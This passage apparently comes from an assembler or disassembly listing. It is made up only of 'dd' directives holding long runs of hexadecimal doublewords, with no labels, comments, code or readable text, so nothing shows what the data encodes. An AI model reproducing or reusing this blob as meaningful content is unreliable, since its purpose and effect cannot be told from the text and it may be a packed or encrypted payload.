700AB8D7h, 0DE2CD83Bh, 8480BD57h, 3685253h dd 2494A33h, 31BB425Ah, 78A3609Dh, 367C8030h, 49CDF24Ch dd 0B0EB00DCh, 0E90E681Ch, 25569EE4h, 0CA1DB167h, 0CF80BAF0h dd 1106C117h, 0E403E7C0h, 0F7F88BC7h, 0B4B08270h, 164BC2FEh dd 0E4981925h, 0E9523A66h, 8D94FF2Dh, 3216C89Eh, 2902AC95h dd 0BB5EF101h, 814AEEC0h, 97A47FBAh, 25612C63h, 8A625D0Ch dd 1A5CCB40h, 651C6853h, 55D56C41h, 0FC8D82C7h, 4FA3FD6Ah dd 0FF2CF828h, 0E959245Bh, 0ABA67BFDh, 857616F1h, 0D3F5B392h dd 4051C362h, 95F0A72h, 0F9895DA8h, 792CCC0Bh, 6A9ADFAEh dd 0C0CFFE03h, 9A8004EFh, 0D4D612Fh, 0D30B9579h, 384F030h dd 62680207h, 8CB56641h, 4C544BA7h, 0D1B7B792h, 17FEE4Ch dd 590E0FD8h, 1D30DEF7h, 2C7302EDh, 672DE936h, 44F9874h dd 6AB37D0Eh, 0DBC3C814h, 0B7DF085Ch, 0E09EE50Ch, 0B79821B8h dd 27A0524Dh, 1AB1859h, 8B34B3CEh, 4F29B8E9h, 21138551h dd 245A0BA2h, 807C84D4h, 605C7101h, 99064940h, 0E3390904h dd 685EACACh, 12586F27h, 2C72C5C7h, 0FC910CF9h, 9D07E2CDh dd 50579E79h, 0EA1A8C4h, 0CF404669h, 16D29CA3h, 3AE8F5Fh dd 88505351h, 54E392D4h, 5A1253F7h, 49CC651Ah, 2CDB2D68h dd 50E8F599h, 9B055F82h, 1159071Eh, 72DD84Ah, 2F8D853Ah dd 0A7C0178Bh, 1743637Eh, 0CCE82960h, 0D5296819h, 9CA0807Ch dd 1D0DDC00h, 0B245BD3Dh, 31291586h, 2349CFD5h, 21365260h dd 0F7133439h, 821C4DDDh, 0B72515D6h, 0FBACA39Dh, 0CF282C9Fh dd 5AD8B509h, 142DAAEh, 5321A530h, 480906BBh, 14B75F8h dd 7B5D192Ah, 0C0DBF460h, 73A52210h, 0DE0C0193h, 38CE84E9h dd 8368155Dh, 7B859D24h, 55AE607Fh, 0DEA05D54h, 8082E2BEh dd 0DC7DD000h, 0E04D6736h, 63EDA045h, 0AC0F92CCh, 3C5DEF21h dd 10021CC5h, 5FFA1CC1h, 9E52F964h, 68724C43h, 901C982Fh dd 915B542Eh, 9649698Bh, 13243F8Fh, 54561AD0h, 0A230975Eh dd 0E9803B82h, 4B845851h, 21ECB592h, 0C1028C1h, 642E580h dd 0C5FE3EB5h, 4BD233AAh, 60878CBDh, 2CE37E0Eh, 4810D601h dd 0C75D2708h, 0C1D90AE3h, 0E6A43995h, 0DAEF08AAh, 2AA06E25h dd 9C6EEB83h, 560F8098h, 33B86DB3h, 47DC6B01h, 0D148D0F7h dd 56EB9630h, 6459D029h, 6802503Ah, 78084D5Dh, 0B35C94C2h dd 38428F05h, 753A8581h, 39F8004h, 1F587E27h, 29D8015Bh dd 10E95379h, 8D4F7D78h, 2B0E25EEh, 0D6A1DE25h, 3634D4E1h dd 79DC17BEh, 0AF70059Ch, 877B8840h, 838AD9B8h, 35333269h dd 8A72203h, 266B0968h, 9D6F1237h, 0D6E24229h, 832542C4h dd 682C683Ah, 74355802h, 0B86E24D2h, 6D9A03B0h, 0C48B7F09h dd 28C11DDCh, 2E007E1h, 1E335C8Ch, 0F080D1F7h, 9B83D24h dd 1BA9A94h, 0DEE55B96h, 0DC8CCF89h, 4F15227h, 0F7A4B01h dd 737CCE81h, 0B883A131h, 2FE567B3h, 1CD30C17h, 0F3099D16h dd 0C707805Eh, 16386A0Dh, 95DEE01h, 92CDE46h, 592650A6h dd 4E1C2E58h, 6FE1A58h, 0E5B7C841h, 18FEF501h, 263070F7h dd 40D269F4h, 0C582B489h, 53094EA4h, 0E4A82678h, 63322EDh dd 0DD40631h, 0C886105Bh, 297B1542h, 0B2FDC0ACh, 0CB7CD628h dd 144B1E27h, 3A1049E9h, 0E3537301h, 0A0CD016Fh, 1CC00890h dd 778947F4h, 6E2527E9h, 4A14C726h, 0FF0D06DBh, 0C8B90DB4h dd 0F20188C4h, 6A4978A3h, 93114922h, 3D800F21h, 0B08E726Ah dd 9F0778EAh, 4E3B388Dh, 691AB7D0h, 1323C58h, 7CBCD4Eh dd 6F92EB0Ch, 0B2E20E89h, 0C018696Ch, 50603EEh, 0BC660FEh dd 800CB151h, 99A9C939h, 0C406A4C1h, 4BC3E9E4h, 0C95A5D30h dd 5FF2391Ch, 0D21F330h, 2BDDB9h, 0C981367Fh, 2AB471DEh dd 1F2EAA80h, 40414CC2h, 9E5EC8E1h, 425E91Ch, 98C8C44Fh dd 931E52D6h, 2811FF8Bh, 0D9CCEEA8h, 560DE69Eh, 5EC11968h dd 0A697470h, 294D3348h, 5808098Fh, 0E927B7D2h, 0F670609Ch dd 25804CD2h, 9DA662Ch, 0C450E101h, 8103079Ah, 0B64A84C2h dd 0A0D7F23Dh, 8CE95AA8h, 96DCA45h, 5002AC0Ch, 0BB806BD5h dd 770D0994h, 2CD83179h, 0A396EA00h, 0D62161A5h, 0EB965Ah dd 43850C72h, 800E0C1h, 4AABE56h, 54E37B6h, 3361E681h dd 302587EEh, 6E68DE2Ch, 8BC1314Ah, 860659C2h, 5DDFCB02h dd 4043178Dh, 303DB8D9h, 2B787ECAh, 70FB8409h, 5E19ED85h dd 0BF185358h, 30DEC8C0h, 6445D329h, 1A60104Eh, 4C453642h dd 1E016960h, 0BB03DE58h, 0B74EAE83h, 679595E9h, 0D66ABE8Ah dd 7E5562D4h, 5B173A59h, 0CF13CD04h, 1D7A8B09h, 48665720h dd 848B3555h, 0F85A5C2h, 0D2D2535Ah, 0EDE87956h, 42FED5F7h dd 6812059Ah, 0C1F75B9Fh, 26EF5310h, 33129901h, 631B50Dh dd 875C0D96h, 447622F7h, 1D9F915Eh, 523FB709h, 0E908802Bh dd 658DD3A6h, 7F9488AEh, 0E3DD734Bh, 5B680608h, 8DC135F6h dd 8F0A3239h, 82F2768Fh, 3F5CA3D1h, 0B8B7C8A4h, 5612A400h dd 2E6F055Fh, 16475FBh, 3BAEBEF1h, 3E58C701h, 0F2F74762h dd 12692783h, 50DAA33Bh, 0B72E78h, 16245122h, 5DBE3C09h dd 0E91F0304h, 17CBFCAAh, 9F8DEEB2h, 0C438DD20h, 84E4B61Ah dd 16D453B5h, 0B42E242Ah, 814285D3h, 0FD88AA7Dh, 0E5686DE1h dd 0B0313F76h, 0A9830EB5h, 322351C6h, 0F6B859C3h, 0BD01A67Dh dd 3C460574h, 102B62A9h, 615E07F7h, 35325Ah, 0D35FFB29h dd 0B0DB9493h, 809ECD54h, 4404B117h, 5B94EE54h, 4E08FF93h dd 61F88D1h, 34DC80AAh, 1D90FB5Bh, 0D3CE3131h, 0C35F87EEh dd 0A1CBD0Eh, 0D8090AB3h, 82DF8266h, 87C20E4Dh, 0C94252DAh dd 1247FC4h, 5A131C54h, 1A424338h, 2ABE07E9h, 0FE39EA40h dd 0F130C175h, 88F50630h, 7A1FB8CBh, 72ADB2A6h, 0EAEF00F6h dd 5EF301B3h, 0C8F7EB29h, 352E107Fh, 0D6090E69h, 22423276h dd 733EEF83h, 2255928Ch, 0DA645D6Dh, 4692E917h, 5908BBC9h dd 8DF85A21h, 850B5055h, 0A0DDDBBAh, 91C32A1Fh, 95146831h dd 83B4AFA8h, 8B030687h, 196E7CC1h, 0A4CFFF53h, 13EC74DAh dd 314AC4h, 5C67BF57h, 0F74717F8h, 9EB7B4DFh, 0B807A30Fh dd 3BF8BB01h, 0A525582Fh, 0F7564203h, 0F14C5Ch, 6D434B94h dd 9E5221E9h, 1B246FB1h, 0F27B97F8h, 99C46029h, 3412310Bh dd 76E5AC33h, 0B3491803h, 47620C08h, 0DE820h, 0D0D51606h dd 26E9FE01h, 0EDE77C63h, 28A7D323h, 82C0D506h, 1CCB0408h dd 64FD2D00h, 80C42B47h, 9001136h, 53E2D1C2h, 49C8BB4Fh dd 35E909C3h, 7B843684h, 1AD4C355h, 26ECE185h, 77F10468h dd 3CB108BEh, 710889CAh, 0DAF949A5h, 52B040C9h, 5A798612h dd 1A635D27h, 0AEF40EAh, 83F383DCh, 9D8B584Fh, 0A06C2D05h dd 6A28154h, 0F118D535h, 422D6071h, 0A66B484Ch, 0D0E61DCh dd 2FA6EB80h, 52E2D337h, 0A85DF932h, 495F647Fh, 0F89ECCBFh dd 404029F7h, 7300FDA6h dd 0F3813DCCh, 5C306FA1h, 0BA8EDD47h, 0E4011787h, 870C0F6Ch dd 5C956BB7h, 0C8AE5D7h, 0F9805644h, 5C596A1Dh, 29024B76h dd 4A203B06h, 0C9F8A78h, 0BA91A07h, 89FB7228h, 0E6592C8Bh dd 78C05B16h, 7D6078F5h, 0E90EC440h, 0D59BB164h, 812B35D0h dd 5AFF32Ah, 0FD20727Ch, 0F25207CFh, 0FDDD89EAh, 8323D88Ch dd 0D0036F79h, 5DE8315Ah, 73C0B5F7h, 0A046A964h, 0C54802C0h dd 9083E916h, 7EEFBE95h, 0EEC6D463h, 160D4FEBh, 4908F1FBh dd 0C9B43D0Dh, 0A60C6702h, 4FC242B9h, 0D2895F02h, 6D525E2Ah dd 0C13BA8EAh, 30B67B01h, 59C80191h, 0E9B1026Eh, 3849F56Eh dd 54747929h, 7226ADF3h, 7908CE43h, 89580A66h, 9A050183h dd 21504668h, 94B0300Ah, 7A283B1Eh, 304B86C9h, 18C756h dd 0D407301h, 41D96152h, 0DF3598A0h, 0A563547Fh, 0C922E26Ch dd 88DA291Bh, 581E089Bh, 3FE9F043h, 9FA677F2h, 2872D58Eh dd 0C8FAEFBCh, 0A50A7528h, 257FB17Dh, 1DFD0126h, 0E9170820h dd 4E450AE6h, 554F1BB3h, 3BDC55Eh, 311E8CF9h, 658A56C6h dd 0ECCE817Ah, 0A0101D4h, 59100A62h, 0EF80006Eh, 5BFD30B1h dd 0FEF0ED28h, 97E92FCFh, 0D2E6008Bh, 20EF0126h, 6106FE5Ah dd 7868E9h, 2C3443BEh, 22940B49h, 58298D8h, 273945EAh dd 5E892C1Ah, 71536828h, 5858A8CAh, 15F3708h, 0C634C52Ch dd 80947030h, 8BA0E739h, 228DAF7h, 171E505h, 564D0D68h dd 134A5A25h, 4E1C19CCh, 3216CD6Ah, 0E4B47853h, 3B87E9C4h dd 3625809h, 619638D0h, 100BD2F7h, 2F62C6Bh, 2A866Eh, 2E6A38B9h dd 19AD4E4Ch, 29923B92h, 5A7A7E22h, 66BE0173h, 0D038B353h dd 30FEB450h, 581CE37Ah, 0F6A6CBFEh, 0D8F0BE16h, 204700C7h dd 43371E27h, 24EF5F31h, 513DAF9h, 7F08666Dh, 0DEF7054Bh dd 6818C046h, 2F7E785Bh, 0C007115Ah, 4D73FA29h, 68810EC3h dd 548E5A48h, 140359D7h, 8C5A0481h, 8FF28F10h, 8357CF5Dh dd 0E13E26BFh, 0BE217C29h, 1FD5FF5h, 1A029A30h, 5ED5A7E9h dd 68147AF0h, 0DEB43D32h, 0D248B500h, 5399E921h, 0CA50C931h dd 0F6E1772h, 0C408164Dh, 1C830926h, 0C0BBE1E1h, 283F6513h dd 24CD8081h, 0DBF70411h, 0A3E91B4Bh, 0CACA32B8h, 0E881F6E3h dd 8F97D32Ch, 1EF01FE6h, 0BE3F051Bh, 5310D120h, 3ED91625h dd 76497463h, 323C597Ah, 70F18100h, 290B6C93h, 6EFCA097h dd 80081C0Ah, 8804325Dh, 39CBE97Eh, 0AAC936ACh, 0F9575961h dd 3A0B6F19h, 40455051h, 0DA723116h, 0D87BD374h, 3FE19E98h dd 5251D90Eh, 0E1DA7AE1h, 0F152D50Eh, 58837E05h, 0E694B2E9h dd 0CA2909h, 0DE1E2AB5h, 800CCF51h, 801B6A64h, 5F6E025Ah dd 0F2523A50h, 0F628689Eh, 5512CE91h, 31392F02h, 278FC13h dd 58E03B9h, 0C15AFAC0h, 1301ED5Ah, 0B0C475Ch, 0AD4CE0A7h dd 0F3CBD398h, 203E52D2h, 2C0BB769h, 84C288BCh, 95204C0h dd 0C55D30h, 6254E909h, 0E6BD0760h, 61362521h, 43BBB30h dd 89B40CB5h, 9788C3F5h, 6968850Dh, 223F3426h, 0CE6B952h dd 3359CB14h, 63136F7h, 0E95C0A0Dh, 0A7CC2D5Dh, 2F7DFFC0h dd 526610C3h, 3DD2C150h, 3C05F02h, 40080591h, 20D60168h dd 615A5A08h, 16F3D6Ch, 643F015Dh, 926BFD3Fh, 0ABF9394Bh dd 9F58FA9h, 0E1AC7855h, 0EFE5BF4h, 80D9F6C1h, 0E960778Eh dd 59CC88FCh, 0EEEEDCF6h, 0DB8E315Eh, 9BC38320h, 542C09E9h dd 0B5F778EBh, 0ECC78EA5h, 25C0946Bh, 0D668206Eh, 0A59373Eh dd 0B850F529h, 0B6612F08h, 0E9E8D05Eh, 71E3FD26h, 0D9883161h dd 0E5715BD9h, 0CB5FD641h, 0BB646802h, 20B9079Ah, 9F429C6Dh dd 0AC7F486Eh, 0A7B50751h, 0C2D3C580h, 3B4CD1D8h, 5123AEA1h dd 235854F9h, 5821D397h, 847DD8CDh, 0C121CA01h, 2AEB8331h dd 7772B000h, 4B608Ah, 6CDCBF57h, 0FB291401h, 919C35B0h dd 4F2890Bh, 2ABCDE50h, 81A0D29Fh, 70DF09DBh, 3E2FEFDDh dd 0B5786379h, 0E71292E2h, 1257F605h, 0F3291851h, 23050B2Ah dd 9540CDC2h, 7813B88Fh, 6848957h, 0C31D7EE8h, 2A34CF7Ch dd 0EB0ACB2Fh, 83590908h, 0FF04FB89h, 2A13C96Dh, 0F2810460h dd 944B3010h, 9546C2A6h, 0BF076928h, 0B83B4227h, 5B0F667Bh dd 7C0145BBh, 0E58850B5h, 0FECBC25Ch, 0E926F616h, 0AD9495E1h dd 493005AEh, 891274CBh, 2356B080h, 83712831h, 1F7F298h dd 690144EEh, 6C16E768h, 61508DCBh, 0E917A17Ch, 6831C05Ah dd 12977973h, 6DC384C0h, 0C03D4DE3h, 8390392h, 252C432Fh dd 0BCEF963Bh, 5BDE9844h, 0BDA59CF8h, 416809C0h, 45EF954h dd 0B4652AE9h, 431C21D6h, 0C5E81296h, 955F5D04h, 98289CDh dd 0A2C5C109h, 856801E2h, 1E55543Ch, 0E7040589h, 51F1B921h dd 0E0B00DF9h, 38B45C0Eh, 6E25D9E9h, 0E6A3D2D0h, 755F5412h dd 77B591B5h, 61B70030h, 5C20E80h, 0EAAEFA28h, 5D7CC1B3h dd 6058022Fh, 2F1AB22Eh, 0BE41F448h, 4170C4EEh, 9053A02h dd 50302215h, 81FF4D88h, 47192024h, 0FE724BF5h, 0B0357C22h dd 8D6817ECh, 0D4CF6015h, 41078869h, 2891B951h, 0F7721377h dd 0BACFC1D9h, 0EC143DF4h, 71350FC1h, 1EF7366Dh, 0E720A7CAh dd 62F631D2h, 0FE5E527Ch, 1DCBE790h, 2CC63B44h, 1817F300h dd 0ACE92BBDh, 0DE8AC858h, 4E809E17h, 3D607FB9h, 32143497h dd 5ACBC115h, 0D06E93F9h, 2859E9A1h, 896F4CD1h, 60F25022h dd 74119043h, 1A900930h, 0C46EFA09h, 62F1621Ch, 75A0729Fh dd 10D602EFh, 5FFD29BBh, 69028AF4h, 55766070h, 18E96110h dd 538B26B2h, 7B3CEBD1h, 836D814Fh, 0E2D0F6C8h, 79DBD831h dd 40C4EE0Fh, 2005BEC6h, 0F730CF07h, 41907391h, 0CED802D5h dd 80523964h, 81951AEh, 0A24F01C8h, 761B883Dh, 0AA8E27ACh dd 0E85963F9h, 41FAF7E1h, 473AE1A0h, 267A220h, 0ACBF30E0h dd 0D7438E9h, 8318BC25h, 492B82AAh, 7870FA20h, 0E577D31h dd 0C788530Dh, 0B55B3A44h, 0C168F626h, 1B1D842Dh, 81415045h dd 293D3B68h, 0D9C96061h, 8538BB01h, 51FB0171h, 548B5AF9h dd 6ED61642h, 0CC64539Eh, 683D6C10h, 3DA8188Bh, 498D7286h dd 4005894Ch, 24B031F4h, 0C4FF394Dh, 941737D2h, 5152F0B0h dd 889F27FAh, 853921B6h, 400242D1h, 4C92C480h, 0E92A139Ah dd 5A1DC249h, 32A6868Eh, 84BED250h, 0E70B5C13h, 0DCE6E2D6h dd 0C1F65B74h, 60DA0827h, 6E88BF23h, 83D9DAD1h, 7724DCE5h dd 56BF9BEh, 7A8FB28h, 752820C6h, 0D44B11FCh, 0F71F11E7h dd 710358DDh, 4725E805h, 7D87689h, 7B5AB111h, 0C7092B84h dd 0E84B243Ah, 27BF00B9h, 21138B74h, 0F95F58F9h, 0D76EFB16h dd 9F499B54h, 26926168h, 71410224h, 414D5FD3h, 614819BCh dd 0C4D9929h, 0EBAFB216h, 0F53B50Bh, 58A652Ah, 64B202E9h dd 6627036Bh, 51113CD3h, 0F21DB1EEh, 17946888h, 625AD701h dd 80DC8BB6h, 5C4BAE40h, 0EF0FC17Ah, 0FB32A428h, 94AC63Eh dd 6A0162ABh, 0E809099Ch, 2503415Dh, 0AE441B29h, 82BBA130h dd 2428AEBAh, 82D21A72h, 6DEE31D0h, 5A519A40h, 0C0886027h dd 4ABD684Ch, 98DB674h, 0D83EFE20h, 957DAC18h, 0C268A49Ah dd 70CADD09h, 0A312CF41h, 0E5880D47h, 0A7F2EA25h, 88D4588Fh dd 0E0596613h, 3DB8E9B3h, 2119295h, 7CAF0FA9h, 564345F6h dd 45DE00ABh, 1B53F24h, 0EA02B8BAh, 1746501Fh, 204BD429h dd 0E95F0908h, 8C7CE258h, 669D1C87h, 3A0A99h, 0C740B164h dd 0AAA04E08h dd 0A59A26F6h, 0E11AB397h, 2F8AC034h, 1ED160CFh, 0F4CCD72Dh dd 0CE14C17Dh, 2CA21C4h, 8A6859C8h, 94B4C26h, 10E0733h dd 54614A09h, 0D9403B8Ah, 0B4B35302h, 80CB0EFEh, 1412C8F3h dd 0E5202BCDh, 0D37828ECh, 0ED2ED42Eh, 0D50B62A4h, 4D6130CCh dd 0C11C8F5h, 79402A0Bh, 0A9133CF0h, 0B23D3453h, 2E5902CAh dd 84B80786h, 44AB3105h, 0A0A4E9E6h, 359866B5h, 0B05279F0h dd 130E4C9Dh, 3372525Eh, 9FC9061Ch, 54A66813h, 0E8B64061h dd 0C3795D6Fh, 7FA67942h, 735E14E1h, 485F58FAh, 609C007Ch dd 0E8D12F5Ch, 3B670035h, 0B0250137h, 11584675h, 5A4109FDh dd 0E4238443h, 0BBED2F0h, 2D2B4B08h, 6CE5BA0h, 1A13CF6Fh dd 0BAC547E9h, 0B01ACA5Eh, 6E99DCD3h, 0C0152112h, 0C9282A2Dh dd 73AF41F6h, 9AFA2583h, 6968FE72h, 75F19C80h, 0BE015179h dd 0AE868A11h, 687804E9h, 56805F2Ch, 0A9305A27h, 0BE79E81Ch dd 0B891C95Fh, 4FD8682Ah, 9967CD26h, 595EF003h, 41585A50h dd 87C299A6h, 29A2D15Bh, 2D2E059h, 9594BEEDh, 682493C4h dd 0DA7069E1h, 0C08A4B69h, 1D32460Dh, 0E0B1E923h, 0E2372AF3h dd 56218AC2h, 91E9D8C7h, 4CC215Eh, 0CBD969CBh, 0E8083E71h dd 39B9013Bh, 2911B775h, 0F898040Ch, 0BC95D50Fh, 60C72900h dd 7638840Ah, 82A4B801h, 0E1D36008h, 0B1518018h, 3DC0793Ch dd 0E889707h, 7760E729h, 0FF680150h, 0E96BCC42h, 222682Dh dd 876C885Bh, 9C736501h, 42AE52E9h, 45F2686Fh, 0A6B6B06Ch dd 55A685A5h, 9CC97C2h, 0DD138C54h, 0B42CFCA3h, 0BFE08E5h dd 36028224h, 0E06BD230h, 1D586C2Fh, 0F2E965FCh, 7D565999h dd 0A8B864h, 6A36C9C1h, 0BABE4021h, 6F3BC603h, 81C6801h dd 14091C34h, 8A237158h, 832602BBh, 44AA27B5h, 7A36A0A9h dd 60C48B78h, 0BCEF2331h, 0CF5CE2EDh, 77825EB5h, 0BDE93802h dd 8CCF799Ah, 1DD54361h, 0B80E0249h, 10CEB9Eh, 0A8428574h dd 89D5081Ch, 0ABD43E7Ch, 0C02EAF60h, 50594C5Bh, 1972BBB0h dd 95F1227h, 13C5EADh, 17D1C981h, 40C1FB49h, 0E8D75405h dd 4C1338CCh, 0E4ACD2A0h, 3D6AB193h, 0A122B6h, 7717B805h dd 2DF02912h, 18E907A0h, 0CBB74F6Eh, 51D56221h, 10C74A24h dd 0BD660BBBh, 5BC958A3h, 81D401EFh, 871AAEF7h, 3DEECF0Ah dd 0F36E3F9h, 8C10EF12h, 129F58D7h, 7E136FF1h, 9CE12FE9h dd 9878013Fh, 0D4771078h, 0DC040DEEh, 5C7EE922h, 0C9659ECh dd 0C5A3C2F2h, 0BC64700Ch, 28280C36h, 5CE48D37h, 102E64EDh dd 25E42C58h, 82F06EC6h, 312AB992h, 5D4E92E8h, 0E697631Fh dd 5F19AF5Ah, 459D3A1Eh, 0ADC52783h, 0B94EE906h, 664295DBh dd 0E66FF1DCh, 4C7AD1Eh, 347D11EDh, 0CAC3864Dh, 1C010883h dd 0ABC6925h, 642C51E9h, 0A1685804h, 0EC1E9853h, 60AFBF2Dh dd 136B72F4h, 84013319h, 0A08138Fh, 26014D7h, 23423CB3h dd 0DC9E5CE0h, 0E9E20909h, 29784193h, 50F70F6Fh, 0C56DA49h dd 0ED80CD83h, 2D067EC2h, 0F46CE828h, 5119D8F2h, 0FF2263B5h dd 0C200E2CEh, 25E17EC6h, 326287F1h, 73005E16h, 6ACA48F2h dd 89CF0854h, 5F28F8BCh, 0DF9B625Ah, 80B56E78h, 125F4CBBh dd 50B93119h, 68F9290Bh, 0CF01A10Ch, 2AD32D7Bh, 5EE9E4CCh dd 0B19105Fh, 6725789h, 0DCCA8FFEh, 2B62615Ch, 0B76801ACh dd 0CC336F76h, 26D881Ch, 841ABF29h, 93686642h, 88395352h dd 0F0DE26EBh, 125AF30Ah, 24B9608h, 9C1C7BBDh, 0F3EF5F41h dd 0E6E99C7h, 0B54ED890h, 0D8385189h, 0EF29E9A0h, 598B7B91h dd 84FE5353h, 0F0DDE956h, 4CEC493Eh, 0BB4900BFh, 4B674F79h dd 8E4BF02Fh, 62BF3413h, 0C40EB40Bh, 0E4681230h, 82593723h dd 2DFE3E75h, 0D1E9F360h, 24A49F35h, 0DA98A141h, 290FA2F1h dd 6030A9CDh, 0B0C188BCh, 493F27A1h, 4B26FFD1h, 0D885ED21h dd 54D5B3E9h, 9C09585Eh, 5A17F633h, 8C3A1D39h, 2E575DA5h dd 9A6EB0E8h, 0C3093B08h, 8B8931A6h, 0C84C884h, 0BD20D4ECh dd 67FAA4F9h, 0AC41E94Ah, 0DA163ECCh, 86EABA2Ch, 4A92F99Eh dd 7E012B53h, 262E5A76h, 95B66DECh, 19958318h, 5E565C1Fh dd 99A40E9Ch, 0C4605096h, 792071EBh, 0C3012813h, 0E90880F9h dd 12CD9253h, 376FD168h, 149C825Eh, 0AF2441D9h, 31D733E3h dd 0E016F29Dh, 16103FDEh, 0F37410EBh, 41028340h, 0B9306A33h dd 0BF65A2E9h, 584D99Ah, 905E09CEh, 91D6D3ADh, 3CF94A74h dd 7EAF613Ch, 4C60781Ah, 6B1F41F3h, 712C147h, 0A1C4E102h dd 0FBCE618Ch, 0B6D39228h, 85055E83h, 6EF2627Ah, 60D6A7A5h dd 0EAE953AAh, 25C9D44h, 0A058D2A5h, 0D78B6C0h, 0DD0147D1h dd 0E908011Ch, 43FEE68Fh, 486D7949h, 8C29251h, 0B509061Eh dd 0E0720B89h, 0D4BF1EDDh, 6802CC44h, 292E31F1h, 52AA1BE1h dd 0FFE6B9DFh, 0B959CA29h, 0AB0F6604h, 0A9F575A5h, 0D2B3243Fh dd 0D2A1C993h, 2E23F780h, 0CD8FE51Dh, 18843CC5h, 0F7F4C1E9h dd 5DB60CEFh, 660C6299h, 53502205h, 0C410C729h, 140C6808h dd 51F85813h, 1051E940h, 254B16h, 66BB0CC6h, 0C147DFF7h dd 0C97F4A12h, 73486C9Dh, 2FF06F4Fh, 0E95A4053h, 0D680524Fh dd 39809BB3h, 0EB9602F3h, 78198C0h, 56E4AB60h, 30D8368h dd 4E5E35F5h, 61F9D6F7h, 4EEA26C6h, 0EB882EE3h, 5F2C1062h dd 7B5CF939h, 6CF20021h, 3A536D7Bh, 82927DCBh, 3B8302B9h dd 572C61D0h, 0BB001FE3h, 5AAC50EEh, 9AD5FE4Bh, 0E001A093h dd 224BB2A8h, 4ED410F2h, 0B55A7458h, 0BEF83039h, 0C191C030h dd 0F6D88057h, 59C8891Ch, 0D958C2CAh, 70168C01h, 0FF704F5Dh dd 8312B707h, 0D02C4B5Eh, 6E47F701h, 0B8207CE0h, 0C3051D4Eh dd 0F6E03A79h, 0C76B7E1Ch, 0E9F73106h, 1F756445h, 5314B2C2h dd 0EAB0C27Bh, 7591088Bh, 0D8F701F8h, 0D4350480h, 89C0C148h dd 2225E9E6h, 92EDFB40h, 93B5A954h, 1176BB3h, 0DC3112EEh dd 26F30CA1h, 94CE259Fh, 97E697BCh, 8AA72848h, 3183BD23h dd 0CAF287D3h, 0B7F8D82Ah, 49CFBD00h, 0AFF809ADh, 0D5F719C5h dd 76C03A84h, 0FD52342Ah, 446BADF5h, 0B2396683h, 35FE2802h dd 16A7EE20h, 0A32D5F68h, 17841095h, 3AC2B450h, 9D700281h dd 2427C0C7h, 0A4973CE5h, 8659F3E0h, 4BE37B88h, 64A6099Dh dd 8FB4C5E1h, 0E6575A75h, 0C4EDDE99h, 14AE79h, 0D18EC35h dd 7FCEF57Ah, 6151E40Bh, 283D68E1h, 89485123h, 8E4ADC4Dh dd 67B54BB2h, 63E4664h, 7BE928B0h, 0C10064F4h, 0F68105EEh dd 39047AFh, 5EF229F7h, 0FD4FD021h, 44584D49h, 2D330202h dd 5D5B547Ah, 66929BD9h, 383199FDh, 0DC5551F9h, 0AD81AC57h dd 0F42D982Fh, 70CC7D17h, 0CD2E92A1h, 0FDFF2030h, 1D360112h dd 0B98E8901h, 2480DCEEh, 4F0902CEh, 28D0F529h, 55E0108h dd 2B715068h, 9CC88A70h, 0E1694ED5h, 878B70E7h, 88B2590Ch dd 0C069495Bh, 41C2E9FBh, 72442E26h, 6913BB7Dh, 4A4B2782h dd 88858F64h, 7C680A90h, 4403945Ah, 95DD8859h, 72BA6392h dd 4CC85B4Bh, 0B1949F52h, 0F125DA9Bh, 20581315h, 0C8BF0FB6h dd 0E9F454FAh, 235FF85Fh, 0C9F1C9BFh, 4BE6FA6Ch, 6C11C7BCh dd 5716D5E0h, 0B0A067F3h, 205141F6h, 0EAE688ABh, 2AE5694Eh dd 0BDA767D5h, 0F00BB9E9h, 0FDF3646Ch, 9366C8Ah, 8F03E8C1h dd 0EE2F444Bh, 309D8D94h, 5263806Ah, 4E0248BAh, 0D60916EAh dd 0C25Ah, 217EFDF0h, 65E91AF0h, 0AADC42F9h, 29935864h dd 0A9E9B750h, 0B7B00E3h dd 0BF01D268h, 3DD95B9Bh, 63CA2A21h, 18CE8A4Ah, 0EB1D29B5h dd 0BC6512F2h, 169446h, 68505508h, 0ED4C36ACh, 5EC602Ch dd 2F35882Dh, 0AA8CEEEBh, 530F9B32h, 9201374Fh, 25A10C16h dd 429F9F3Ah, 0D3532C52h, 0AA1A0902h, 0F00776Eh, 79631CE8h dd 78E94609h, 6E8E90BAh, 300CC9C9h, 0A5638B90h, 1EAD482h dd 614549EFh, 9A803E40h, 53D0548h, 0E916DF33h, 0FE0BD434h dd 1509CC75h, 0D31F242Fh, 0BC6F80E3h, 4B3D0C1Ch, 4E06C95Eh dd 0DF01657Eh, 4108831Ch, 7547141Ch, 3DBC02D5h, 74DF0987h dd 0AC7C956Ah, 0A0F2B7E6h, 81FA5C25h, 3B4F79B9h, 0EB4A70D1h dd 7807A1Ch, 5BD989C6h, 0BFF749AEh, 3401D616h, 0C165BA05h dd 0CE428104h, 7E15C0Ah, 29C83110h, 5F30F3FAh, 62B83E55h dd 64E73D79h, 848BCD2Dh, 0C050D705h, 4A762300h, 62FA80A8h dd 0FC77B430h, 0A5901D9h, 0F3A2E948h, 889FA4ACh, 530DA499h dd 489F5C50h, 62C3D620h, 5B40560Bh, 4697CDCCh, 0C47791A4h dd 9D38056h, 12158D1Ch, 58D746E9h, 1AFE578Ch, 0CCB45DEBh dd 5E1E05E3h, 0E82967D4h, 5F0840F2h, 0B7420AB6h, 0B0B766CCh dd 1E51FE05h, 4E1817Ah, 8131160Bh, 2AB58540h, 0E982A58Ah dd 0A0D5C7AAh, 0AB38C9F9h, 9C8DF606h, 5A660EA1h, 50145353h dd 0E8CB637Eh, 68A77D56h, 8006ADCBh, 194A0A68h, 0C3F53567h dd 1BB96F94h, 52B149E4h, 3DC3D5DCh, 4150B213h, 293A3317h dd 2CD5EDD0h, 0EB211B0Eh, 0C805D2B5h, 1E86BBFDh, 8801B446h dd 6603FE9Fh, 0A54FE4BEh, 67109107h, 0E9F30190h, 74BF4EC0h dd 0A11FACA6h, 523C80B9h, 47DDA585h, 22DA88A5h, 25F5AD0h dd 93243ACh, 0C1E7EF0Eh, 7BD09901h, 0F55B7D26h, 5FF93105h dd 564CE202h, 693ED840h, 7E7650AAh, 0BE57C360h, 21C11661h dd 7C4BC6D8h, 0B7A65D20h, 14C29D63h, 584A0678h, 0F492A2E2h dd 2B4EE9E7h, 0ACCAEAC4h, 0DC1F5D7Dh, 67685A04h, 9632BA10h dd 48B52A2h, 0B82FB7F7h, 0C502BB25h, 716ED868h, 7D7825D7h dd 34A559E3h, 25EFBCBAh, 7AF061BCh, 0CBFE802h, 4B65C201h dd 0D0259B91h, 1521C635h, 0DB08E9FDh, 